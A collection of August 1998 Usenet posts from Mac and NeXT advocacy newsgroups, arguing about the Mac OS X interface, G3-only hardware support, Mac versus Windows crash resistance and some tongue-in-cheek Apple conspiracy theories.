$1, which is very different from asking for $1.
> Unless, of course, the lawyer was working on a contigency fee.
> In which case, the lawyer would get his thirty cents. And he'd
> have earned it all.
You're very clever.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 1 Aug 1998 14:29:55 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <26460-35C35EA3-21@newsd-121.bryant.webtv.net>
References: <26703-35C212B2-10@newsd-122.bryant.webtv.net>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
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ETAtAhQx++Lbq4H06Yuvdmy7BbC9izxaCQIVALBcsfw+FS4rCPiHsSNImgBkuoSq
Richard=A0Frith-Macdonald wrote:
>Joshua Moore wrote:
>> <minor snippage>
>> I'll walk you through the concept so you'll get
>>a better understanding.
>>1. You'd press Control-click to bring up a
>>MacOS contextual menu.
>>2. There would be an entry titled "Menus".
>>3. You'd bring the cursor over "Menus" and a
>>list of all the available menus would be
>>displayed (Apple, File, Edit, Services, etc.,).
>>4. You'd make your selection (let's say you
>>choose the "File" menu)
>>5. A palette of buttons would pop up near
>>your cursor, labeled with all of the commands
>>in the File menu.
>>6. You'd make your command selection just
>>as if you had moused all the way to the menu
>>bar.
>>The paletting behavior is similar to how
>>MacOS 8.5' s application menu can be torn
>>off, but makes use of the Mac's contextual
>>menus and NeXT's option of having the
>>menubar pop up beneath the cursor.
>>With this behavior any command can be
>>elevated to the top level (therefore easily
>>accessible) and also preserve menu
>>heirarchy. It also combines Mac and NeXT
>>concepts in complimentary ways.
>That all sounds fine, and a useful mechanism
>to have - it's just that I personally don't much
>like using click-to-popup menus, preferring to
>see things on the screen (that's probably just
>habit).
*sigh* After you chose the palette from the contextual menu it would
stay on screen until "you tucked it away in the menubar". Or it could be
torn off from the menubar. Either way it would be up to you,
customizable and consistent. Maybe someone could help me create a mockup
(I'm kind of resource limited, if you hadn't noticed).
>=A0 Also - I just can't understand the aversion to
>buttons on the menu bar - none of the reasons
>I have been given convince, and I suspect that
>it's really more habit than anything else that
>makes some people hate that idea.
How consistent is it to have *buttons* in a *menu*bar? If you really
need a global button bar, there's the Control Strip.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 19:29:40 GMT
Organization: Steel Driving Software
Message-ID: <01bdbdd6$b30b38b0$efb5dccf@samsara>
References: <6pvl67$5ms@news1.panix.com> <B1E8AF4A-53A38@206.165.43.118>
Lawson English <english@primenet.com> wrote in article
<B1E8AF4A-53A38@206.165.43.118>...
> Sal Denaro <sal@panix.com> said:
>
> >On Fri, 31 Jul 1998 20:05:28 -0400, Joe Ragosta <joe.ragosta@dol.net>
> >wrote:
> >>Well, the switch to Intel will just make Be's failure that much
quicker.
> >
> >Huh? They moved from an 8-12 mil target market to a 100 mil target
> >market.
> >
>
> It's harder to support WIntel hardware because of the myriad models.
That's
> why MacOS X is Mac-only, remember?
Actually, this isn't the case. The main issue is the peripherals,
not the motherboards.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 01 Aug 1998 19:26:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pvq5u$lb9$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net>
In article <joe.ragosta-0108980723530001@elk78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > And its much, much, much easier for a programmer to do something stupid and
> > kill MacOS than it is to kill Windows.
>
> A statement for which you've NEVER provided one shred of evidence.
OK, Windows 95 protects you again memory overwrites, a very common programming
error. The following code crashes my Mac but not my PC:
strcpy( (char *) 0, "Restart Mac here (interupt vector gone)." );
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 19:43:15 GMT
Organization: Steel Driving Software
Message-ID: <01bdbdd8$989418b0$efb5dccf@samsara>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <6pvl64$5ms@news1.panix.com>
Sal Denaro <sal@panix.com> wrote in article <6pvl64$5ms@news1.panix.com>...
> On 31 Jul 1998 19:12:53 GMT, John Kheit <jkheit@mediaone.net> wrote:
> > I *am* complaining that a UI designed to work
> >well on a 640X480 resolution will not scale well, nor work as well as a
UI
> >designed to work at 1024X768 on up.
>
> John, I agree that Apple needs to address UI scalability in MacOSX; but,
I
> think it would be a mistake to just use the OpenStep UI. Sales of Windows
> show that the masses would rather use something they know than something
that
> is better.
I don't see how Windows demonstrates that. There was a pretty major
UI change with Win95, but the different UI wasn't the main factor
why some people put off upgrading; the main reason was having to
upgrade their hardware to run it. I don't think many people complained
about getting Win95 on new PC's, rather than Win3.1.
I'm not convinced that people are so resistant to different UI's. Other
factors are much more important than the UI, as long as a UI isn't
significantly worse or radically different than the competition. Most
UI's today are not radically different from one another; the Bob interface
was, and it was rejected. Likewise, a new UI as bad as Win3.0 would
be rejected.
Even the Palm Pilot's UI hasn't been an impediment. WinCE, with a more
familiar interface, has had a hard time catching up, especially on
the Pilot knock-off Palm-size PC. WinCE has some advantages, but those
are mindshare and software advantages, not UI advantages.
Date: Sat, 01 Aug 1998 14:16:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-0108981416480001@elk90.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net> <6pu3r9$hmv$1@bunyip.cc.uq.edu.au>
In article <6pu3r9$hmv$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-3107981050490001@wil31.dol.net...
> >In article <6prd57$h22$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> >> joe.ragosta-3007981600420001@wil33.dol.net...
> >> >In article <6pqa9r$s09$1@plo.sierra.com>, "Earl Malmrose"
> >> ><earl.malmrose@nospam.sierra.com> wrote:
> >> >
> >> >> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
> >> >> <6pq2n2$q44@newsb.netnews.att.com>...
> >> >> >Christopher Smith <drsmithy@usa.net> wrote:
> >> >I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time
> if
> >> >I have anything else going on. Mine's IDE, so that may be part of it, as
> >> >well.
> >>
> >> 6X over IDE could get a bit hairy - what type of drive & m/b have you got
> >> again ?
> >
> >Abit TX5
> >Traxdata CD-R/RW 2x2x6
>
> Ok I was more interested in the hard disk - but that's only a 2x write, so
> it shouldn't matter. Make sure you have your hard disk and burner on
> different IDE channels - ie each has their own cable, since AFAIK the IDE
> controller in the TX chipset doesn't support two devices active on the bus
> at the same time.
The hard drive is a Maxtor 5.4GB UDMA drive and it's already on a separate
channel.
>
> >It's clocked at 66x2.5. I've never been able to go any higher than that,
> >even with a massive, expensive heat sink.
>
> The CPU is probably multiplier-locked, you'd most likely have to up the bus
> speed to overclock. Couldn't say for sure, I don't know that much about
> Cyrix CPUs since I avoid them whenever possible. That motherboard supports
> 75 & 83Mhz bus speeds IIRC, so try running at 2.5x75. 83Mhz bus usually
> requires very good quality EDO RAM or SDRAM, although you can sometimes get
> away with it with "normal" stuff.
I tried 2.5 x 75. No go. Then, I tried 2 x83 and that didn't work either.
I'm using SDRAM.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 14:14:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-0108981414070001@elk90.dol.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <1dd21m3.1foqfdd99698qN@dialup112-2-9.swipnet.se> <joe.ragosta-3107982010580001@elk71.dol.net> <1dd37ep.enp710mh18u8N@dialup93-1-39.swipnet.se>
In article <1dd37ep.enp710mh18u8N@dialup93-1-39.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > I'm still waiting for evidence that Macs crash more than Win95. No one's
> > ever provided any.
>
> Why set the goal so low? On that side, compare with NT.
Because Mac OS isn't competing directly with NT in most cases.
Besides, the argument that you see here so often is "Windows has PMT and
protected memory so it crashes less than MacOS". If this were true, it
would apply to Win95 and no one has provided any evidence of that.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 01 Aug 1998 15:09:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-0108981509540001@elk63.dol.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
In article
<ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig(nospam)Koller) wrote:
> In article
> <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > Peter Lewis, author of the biased and misinformed article, obviously
> > has never seen or used the new Macintosh g3, which is at least twice as
> > fast (sic) as a 400 mhz intel pc.
>
> Interesting. The Ads say the "chip" is "up to twice as fast" and our
> friend says the computer itself is "at least" twice as fast. Pretty broad
In a different post, he claimed "on average" twice as fast. Of course, in
each case, he's claiming that it's Apple who made the claim--in order to
further his Apple-bashing.
> discrepancy huh, although you gotta admire the guy for his enthusiasm -
> only because this is a Mac advocacy group (if he said the Mac could turn
> water into Snapple I'd be even more impressed).
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Sat, 01 Aug 1998 14:58:32 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C37368.496D@geocities.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Conspiracy Theory:
1.
Apple saw that the cloners were trying to move to Be and decided to kill
cloning to knock the feet out from under the transition.
P.S. : This is just a conspiracy theory please no flaming.
2.
YB is a Trojan Horse to get WinTel programers to program for X
P.S. : This is just a conspiracy theory please no flaming.
3.
Mot and IBM split to give Intel a false sence of security.
P.S. : This is just a conspiracy theory please no flaming.
4.
Jobs is just buddies with gates untill he is either powerful enough to pull the rug out
from under Gates or the DOJ finishes Micro$oft off.
P.S. : This is just a conspiracy theory please no flaming.
5.
Y.B. is deigned to allow little guys to out compeat software giants.
P.S. : This is just a conspiracy theory please no flaming.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 01 Aug 1998 13:17:45 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-0108981317450001@ip-167-027.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <not-2007982342490001@ip-26-018.phx.primenet.com> <35BF1670.96FA0927@earthlink.net>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <35BF1670.96FA0927@earthlink.net>, jontemple@earthlink.net wrote:
> > Ahhh, the voice of sanity. Amen, brother.
>
> *in*sanity is more like it --- the self-destructive consumer -- no, no, charge
> me MORE!
What does having to be charged *anything* have to do with the matter at
hand? It is your CHOICE to upgrade to OS X; it is not a mandatory upgrade,
nor will its release kill all non-G3 hardware. You don;t have to spend a
dime unless you WANT to. You're not being coereced, or forced, or held a
gunpoint. There are many, many productive and stable 7.6.1 users out there
right now.
> > > The only difference is that the content of 2.0 has been upgraded, and
> > > the future incompatibility telegraphed quite early.
> >
> > Early enough to give people plenty of time to plan for upgrading the
> > hardware. No last-minute suprises. Quite responsible of Apple, actually.
>
> Oh, this is RICH! You mean by giving "people plenty of time to plan for
> upgrading the hardware" that people should buy a G3 system in
anticipation of OS
> X! Very BAD advice --- this is precisely the kind of reasoning that has got
> millions of Apple customers hosed in the first place --- buying boxes
that Apple
> absolutely confirms the new OS will run on, but then changing everything AFTER
> the fact. Rhapsody was supposed to run on PCI Macs, but version 2 (OS X) will
> not. Seem pretty damn sudden to me!
Oh, please. You obviously have come to this thread rather late, as all the
points you rase have been discussed, and discussed, and by many dismissed.
Apple never laid out an exact list of what would run Rhapsody and what
yould not, and certainly never announced it at MacWorld to the entire
public. Besides, by the time that Mac OS X comes out there will be only 2
types of Macintosh made: G3 and (possibly) G4. Apple can't possibly
obsolete one or the other in that time frame.
> And there are those who do nothing but ridicule and rejoice in the pain
and just
> outrage of others --- a far lower form of life, I should think.
I can safely ridicule you, becuase you haven't though enough about the
issue to really participate in the discussion.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 01 Aug 1998 15:42:08 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0108981542080001@castle.webis.net>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com> <6ptgu1$nd3$1@plo.sierra.com>
NNTP-Posting-Date: 1 Aug 1998 20:41:59 GMT
In article <6ptgu1$nd3$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
: quinlan@intergate.bc.ca wrote in message
: <6pt9ce$est$1@nnrp1.dejanews.com>...
: >In article <joe.ragosta-3107981049230001@wil31.dol.net>,
: > joe.ragosta@dol.net (Joe Ragosta) wrote:
: >
: >> A programmer who made that error would find it the first time he tested
: >> the program. He'd fix it, and it would be over.
:
: If he's working on any kind of Unix, Windows, or BeOS, then yes, he would
: immediately find it, because the system would halt the app, and the debugger
: would show him the exactly line of source. If he's on MacOS, the system
: freezes, with no indication whatsoever where the error is. He will then
: spend several minutes rebooting, and restarting the app and trying to
: reproduce the same conditions.
:
If he's any kind of programmer, he has Macsbug installed which will show
him exactly where it crashed and why.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 1 Aug 1998 20:48:40 GMT
Organization: Steel Driving Software
Message-ID: <01bdbde1$bb7748d0$fab4dccf@samsara>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com>
Landivar2 <landivar2@geocities.com> wrote in article
<35C37368.496D@geocities.com>...
> Conspiracy Theory:
> 5.
> Y.B. is deigned to allow little guys to out compeat software giants.
>
> P.S. : This is just a conspiracy theory please no flaming.
6.
Most anti-Mac articles (print, web, and Usenet) have actually written
by authors paid by Apple, in order to lull the competition into a false
sense of security. Note how quickly the press coverage turned around?
P.S. : This is just a conspiracy theory...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 13:56:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E8CEFA-CAC49@206.165.43.118>
References: <01bdbdd6$b30b38b0$efb5dccf@samsara>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>> It's harder to support WIntel hardware because of the myriad models.
>That's
>> why MacOS X is Mac-only, remember?
>
>Actually, this isn't the case. The main issue is the peripherals,
>not the motherboards.
Hmmm... COuld you clarify? Also, why would this be an issue for MacOS and
not for BeOS (whichever issue it is, that is)?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 14:03:34 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E8D0B8-D1531@206.165.43.118>
References: <not-0108981328160001@ip-167-027.phx.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Michael M. Eilers <not@a.valid.email.add> said:
>You missed the point. The point is, if Apple doesn't come up with a
>"modern" OS that delivers SMP,
No shipping G3 system will handle SMP. No rumored G3 system will handle
SMP. I don't think that even RS/6000 systems based on G3's will handle SMP.
There's too much extra hardware needed and G4 systems that WILL handle SMP
with minimal hardware are just around the corner, so why bother developing
it? G3's are laptop-oriented CPUs, remember.
preemptive multitasking and protected
>memory within the next 2 years, all the people who need those things to
>survive will *go* to NT whether they like it or not. Obsoleting older
>hardware is actually a sideline issue--as I said, those people who depend
>on fast hardware/killer OS to sruvive will have long since moved to G3.
Like independent software developers who bought 604e-based systems so that
they could work with 7.x, 8.x, Rhapsody and MacOS X applications? Some of
us don't need "killer speed" but DO need a single box that can handle as
many OS variations as possible. A G3 certainly won't do that.
>That 2-month-old 9600 will be 16 months old by the time OS X hits the
>streets, and will be 1/4 the speed of the cheapest G3 mac for sale (by
>then we will have 1000 MHz systems available, not to mention dual G4
>systems.) Getting OS X out the door as fast as possible is the *only*
>thing that will salvage the high-end production market for Apple and keep
>them from going NT.
But what about the person who wanted to buy a cheapo, entry-level
video-editing system and run the latest software on it as well?
Apple is locking THEM out of the upgrade stream, even if the original owner
has moved on to something else (and a person who needed a 9600 won't be
happy with any current or announced G3 system so they may not have
upgraded by then in the first place, except to purchase a $500 card that
gives them 90% of the speed of your 1000Mhz G3 system).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 13:28:15 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-0108981328160001@ip-167-027.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <35ba359f.0@news.depaul.edu> <not-2507981504590001@ip-26-147.phx.primenet.com> <35C168FB.E0912412@earthlink.net>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <35C168FB.E0912412@earthlink.net>, jontemple@earthlink.net wrote:
>
> I am not arguing that we should jump to NT, only that your premise is flawed:
> the requirement to buy new hardware opens up new possiblities, especially when
> coupled with the bad blood engendered by Apple's move in the first place ---
> your 2-month old 9600/350 can't run OS X but a slower iMac can? Does Apple
> *really* want to open that customer relations can? People WILL flee, ANGRY
> people WILL leave the platform. Apple's move is just *wrong*, and to those of
> us who have sitting on the fence for so many years, it can only push us away
> from Apple, not towards them. Go ahead and flame me, but it's a fact --- this
> kind of bad move is going to push many away. Can Apple really afford *any*
> more attrition, with only 4.x% marketshare?
You missed the point. The point is, if Apple doesn't come up with a
"modern" OS that delivers SMP, preemptive multitasking and protected
memory within the next 2 years, all the people who need those things to
survive will *go* to NT whether they like it or not. Obsoleting older
hardware is actually a sideline issue--as I said, those people who depend
on fast hardware/killer OS to sruvive will have long since moved to G3.
That 2-month-old 9600 will be 16 months old by the time OS X hits the
streets, and will be 1/4 the speed of the cheapest G3 mac for sale (by
then we will have 1000 MHz systems available, not to mention dual G4
systems.) Getting OS X out the door as fast as possible is the *only*
thing that will salvage the high-end production market for Apple and keep
them from going NT.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Sat, 01 Aug 1998 15:27:19 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C37A27.800@geocities.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Landivar2 wrote:
Conspiracy Theory:
6.
Apple is saying that x will only run on G3s. Even So, they will try make is compatibal with other
PCI Macs but if they have any trouble supporting some of them they won't support those, and
they will say that we got more than we expected.
P.S. : This is just a conspiracy theory please no flaming.
P.P.S.: this was directly inspired by don.brown@cesoft.com (Donald Brown)'s post
Date: Sat, 01 Aug 1998 14:33:56 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <stevehix-0108981433570001@ip57.safemail.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com>
Organization: Close to None
In article <6pmooa$u1p$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
>
> > It does: MacOS 8.5, MacOS 9.
>
